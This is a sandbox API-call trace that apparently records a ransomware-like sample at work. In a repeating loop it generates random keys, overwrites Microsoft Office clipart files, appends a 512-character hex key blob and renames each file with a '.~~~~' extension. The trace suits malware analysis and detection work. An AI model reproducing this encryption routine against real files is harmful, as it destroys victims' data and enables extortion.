	[0092.875] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0092.875] GetLastError () returned 0x0
	[0093.218] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xffffda39, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.218] WriteFile (in: hFile=0x124, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0x25c7, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x1f8fec0*=0x25c7, lpOverlapped=0x0) returned 1
	[0093.218] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0093.218] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.219] WriteFile (in: hFile=0x124, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0093.219] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0093.219] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0093.219] CloseHandle (hObject=0x124) returned 1
	[0093.219] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0093.219] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099157.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099157.jpg.~~~~")) returned 1
	[0093.220] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0093.220] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0093.220] GetLastError () returned 0x0
	[0093.221] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0093.222] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0093.222] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0093.222] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0093.222] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0093.222] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0093.222] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21321200786) returned 1
	[0093.222] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa155c990, dwHighDateTime=0x1d60e1e)) 
	[0093.222] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0093.222] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0093.222] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0093.222] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a2480
	[0093.222] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0093.222] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2480 | out: hHeap=0x300000) returned 1
	[0093.222] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0093.222] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0093.222] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1710
	[0093.222] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0093.222] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x38c1b8
	[0093.223] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0093.223] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0093.223] GetLastError () returned 0x0
	[0093.223] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0093.223] GetLastError () returned 0x0
	[0093.374] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xffffa8ac, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.374] WriteFile (in: hFile=0x124, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0x5754, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x1f8fec0*=0x5754, lpOverlapped=0x0) returned 1
	[0093.375] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0093.375] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.375] WriteFile (in: hFile=0x124, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0093.375] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0093.375] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0093.375] CloseHandle (hObject=0x124) returned 1
	[0093.375] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0093.375] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099163.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099163.wmf.~~~~")) returned 1
	[0093.376] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0093.376] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0093.376] GetLastError () returned 0x0
	[0093.376] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0093.378] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0093.378] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0093.378] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0093.378] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0093.378] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0093.378] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21336786871) returned 1
	[0093.378] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa15f4f10, dwHighDateTime=0x1d60e1e)) 
	[0093.378] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0093.378] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0093.378] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0093.378] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x388368
	[0093.378] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0093.378] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x388368 | out: hHeap=0x300000) returned 1
	[0093.378] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0093.378] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0093.378] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1710
	[0093.378] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0093.378] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x38c548
	[0093.378] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0093.378] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0093.379] GetLastError () returned 0x0
	[0093.379] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0093.379] GetLastError () returned 0x0
	[0093.612] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xffffd830, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.612] WriteFile (in: hFile=0x124, lpBuffer=0x28b6ff8*, nNumberOfBytesToWrite=0x27d0, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28b6ff8*, lpNumberOfBytesWritten=0x1f8fec0*=0x27d0, lpOverlapped=0x0) returned 1
	[0093.613] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b6ff8 | out: hHeap=0x300000) returned 1
	[0093.613] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.613] WriteFile (in: hFile=0x124, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0093.613] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0093.613] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0093.614] CloseHandle (hObject=0x124) returned 1
	[0093.614] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0093.614] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099169.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099169.wmf.~~~~")) returned 1
	[0093.615] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0093.615] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0093.615] GetLastError () returned 0x0
	[0093.751] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0093.752] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0093.752] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0093.752] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0093.752] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0093.752] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0093.752] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21374252630) returned 1
	[0093.752] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa1987010, dwHighDateTime=0x1d60e1e)) 
	[0093.753] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0093.753] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0093.753] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0093.753] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x388448
	[0093.753] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0093.753] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x388448 | out: hHeap=0x300000) returned 1
	[0093.753] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0093.753] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0093.753] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28da750
	[0093.753] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0093.753] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x283e128
	[0093.753] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da750 | out: hHeap=0x300000) returned 1
	[0093.753] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0093.753] GetLastError () returned 0x0
	[0093.753] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0093.753] GetLastError () returned 0x0
	[0093.849] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xffff1c6e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.849] WriteFile (in: hFile=0x124, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0xe392, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x1f8fec0*=0xe392, lpOverlapped=0x0) returned 1
	[0093.850] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0093.850] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.850] WriteFile (in: hFile=0x124, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0093.850] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0093.850] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0093.851] CloseHandle (hObject=0x124) returned 1
	[0093.851] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0093.851] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099172.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099172.wmf.~~~~")) returned 1
	[0093.852] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0093.852] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0093.852] GetLastError () returned 0x0
	[0093.852] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0093.853] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0093.853] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0093.853] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0093.853] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0093.853] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0093.853] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21384318126) returned 1
	[0093.853] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa1a6b850, dwHighDateTime=0x1d60e1e)) 
	[0093.853] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0093.853] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0093.853] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0093.853] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3884f0
	[0093.853] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0093.853] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3884f0 | out: hHeap=0x300000) returned 1
	[0093.853] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0093.853] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0093.853] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1710
	[0093.854] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0093.854] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x283e1c0
	[0093.854] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0093.854] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0093.854] GetLastError () returned 0x0
	[0093.854] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0093.854] GetLastError () returned 0x0
	[0093.961] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfffff648, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.961] WriteFile (in: hFile=0x124, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x9b8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x1f8fec0*=0x9b8, lpOverlapped=0x0) returned 1
	[0093.963] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0093.963] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.963] WriteFile (in: hFile=0x124, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0093.963] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0093.963] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0093.963] CloseHandle (hObject=0x124) returned 1
	[0093.963] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0093.963] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099176.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099176.wmf.~~~~")) returned 1
	[0093.964] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0093.964] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0093.964] GetLastError () returned 0x0
	[0093.965] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0093.968] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0093.968] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0093.968] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0093.968] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0093.968] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0093.968] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21395849162) returned 1
	[0093.968] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa1b9c350, dwHighDateTime=0x1d60e1e)) 
	[0093.968] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0093.969] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0093.969] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0093.969] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x388608
	[0093.969] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0093.969] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x388608 | out: hHeap=0x300000) returned 1
	[0093.969] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0093.969] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0093.969] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1710
	[0093.969] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0093.969] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x283e420
	[0093.969] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
